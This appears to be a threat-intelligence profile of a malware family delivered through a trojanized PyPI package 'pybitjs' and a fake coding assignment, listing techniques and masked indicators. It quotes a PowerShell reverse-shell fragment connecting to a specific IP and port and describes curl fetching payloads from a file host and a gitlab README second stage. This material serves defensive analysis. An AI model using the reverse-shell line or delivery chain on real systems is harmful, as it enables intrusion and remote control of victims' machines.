Loading malware…
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
“A Node.js loader in a malicious pybitjs repo is executed and beacons to the operator C2 ... Our YARA rules flag it as WinosStager.”
“A Node.js loader in a malicious pybitjs repo is executed and beacons to the operator C2 ... Our YARA rules flag it as WinosStager.”
“A Node.js loader in a malicious pybitjs repo is executed and beacons to the operator C2 ... Our YARA rules flag it as WinosStager.”
6 distinct techniques documented for this family, organized by ATT&CK tactic.
“The persona was steered toward a trojanized package and a fake coding assignment. The malicious PyPI package pybitjs and a temporary codesubmit repository are the delivery artifacts.”
“cmd.exe plus curl pulls two payloads … and runs them immediately.”
“A Node.js loader … is executed” and “SvcHostUpdate.js” was downloaded and run.
“A Node.js loader in a malicious pybitjs repo is executed.”
PowerShell reverse shell to 77[.]91[.]123[.]131:9001... New-Object Net.Sockets.TCPClient('77.91.123.131',9001).
“curl pulls two payloads from the anonymous file host files.catbox[.]moe” and “The loader chains through a gitlab[.]com raw README used as a second stage delivery channel.”
19 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.